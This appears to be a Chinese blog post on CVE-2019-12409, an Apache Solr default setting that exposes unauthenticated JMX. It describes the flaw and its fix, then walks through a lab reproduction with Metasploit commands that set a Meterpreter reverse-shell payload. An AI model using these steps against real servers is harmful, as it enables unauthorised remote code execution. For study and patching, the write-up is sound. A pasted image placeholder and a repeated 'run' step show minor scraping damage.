Apache Solr錯誤預設配置導致的RCE(CVE-2019-12409)
宣告
好好學習,天天向上
漏洞描述
Apache Solr的8.1.1和8.2.0版本的自帶配置檔案solr.in.sh中存在不安全的選項ENABLE_REMOTE_JMX_OPTS=“true”。如果受害者使用了該預設配置,則會在預設埠18983開放JMX服務,且預設未開啟認證。任何可訪問此埠的攻擊者可利用此漏洞向受影響服務發起攻擊,執行任意程式碼。
建議快速響應,將solr.in.sh配置檔案中的ENABLE_REMOTE_JMX_OPTS選項設定為false,然後重啟Solr服務。
影響範圍
Apache Solr8.1.1和8.2.0版本
復現過程
這裡使用8.2.0版本
下載地址
http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
下載後,放到kali,linux中,msf和solr都在kali中,我這裡省點事,相當於自己打自己了,kali的IP為192.168.239.139
解壓完成後進入該資料夾的bin目錄下
檢視solr.in.sh檔案發現ENABLE_REMOTE_JMX_OPTS="true"選項開啟
在bin目錄下執行命令
./solr start -force
一旦掃描發現開啟了18983
就可以開啟msf了
命令列啟動msf
msfconsole
設定目標資訊
use exploit/multi/misc/java_jmx_server
set RHOST 192.168.239.139
set RPORT 18983
設定攻擊載荷(反連shell)
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.239.139
set LPORT 4444
設定完畢後可以開始攻擊,拿到shell
run
…(img-lrqKUpbp-1606037663158)]
設定完畢後可以開始攻擊,拿到shell
run
相關文章
- 錯誤記錄:apache預設網頁訪問錯誤Apache網頁
- Lombok 的@ToString導致的Maven編譯錯誤LombokMaven編譯
- 升級Xcode10導致的編譯錯誤XCode編譯
- 【linux】【docker】Docker預設網段配置導致無法訪問LinuxDocker
- 12.2.0.1bug導致的Failed to register in OCRLOCAL group.錯誤AI
- ORA-04031錯誤導致當機案例分析
- import提升導致Fundebug報錯:“請配置apikey”ImportAPI
- 記一次 hosts 檔案配置錯誤導致應用卡頓的奇葩問題
- Session物件改變請求頭值導致的401錯誤Session物件
- 動態建立 @ViewChild 導致執行時錯誤的原因分析View
- 記錄一次homestead意外關閉導致的錯誤
- PostgreSQL DBA(29) - Backup&Recovery#2(日期格式導致的錯誤)SQL
- [譯] RxJS: 避免因濫用 switchMap 而導致錯誤JS
- 微軟配置錯誤導致大量敏感資料洩露,全球客戶受影響微軟
- laravel Route RESTful 因路由先後順序導致的解析錯誤LaravelREST路由
- smt加工這些失誤會導致smt加工出錯
- tomcat配置400/404/500型別的錯誤頁面,修改專案預設路徑,修改預設專案Tomcat型別
- iis7.5錯誤 配置錯誤
- 解決 PBootCMS 中因資料庫名稱錯誤導致的“執行 SQL 發生錯誤!錯誤:no such table: ay_config”問題boot資料庫SQL
- solr搜尋報錯,tomcat maxHttpHeaderSize 設定SolrTomcatHTTPHeader
- 什麼會導致HTTP代理出現400錯誤請求HTTP
- common-collections中Java反序列化漏洞導致的RCE原理分析Java
- 什麼會導致HTTP出現429請求過多錯誤?HTTP
- apache提示錯誤:httpd-ahssl.confApachehttpd
- 又見想當然導致的誤譯
- 因為 int32 溢位導致的 peewee.IntegrityError 錯誤事故記錄Error
- 一次錯誤使用 go-cache 導致出現的線上問題Go
- java由於越界導致的報錯Java
- 新增ijkplayer-java 導致的報錯Java
- sql最佳化-錯誤強制型別轉換導致索引失效SQL型別索引
- Solr schema編寫指導Solr
- html的開始與結束標籤巢狀錯誤會導致哪些問題?HTML巢狀
- php輸出json資料,導致前端js判斷錯誤的分析及解決PHPJSON前端
- Spring Redis開啟事務支援錯誤用法導致服務不可用SpringRedis
- 蘋果iOS 11.3/11.4曝bug:“黑點錯誤”導致裝置崩潰蘋果iOS
- SpringBoot+solr配置入門Spring BootSolr
- Mabatis配置錯誤日誌BAT
- 記錄一個由於倉庫層錯誤導致軟刪除失效的問題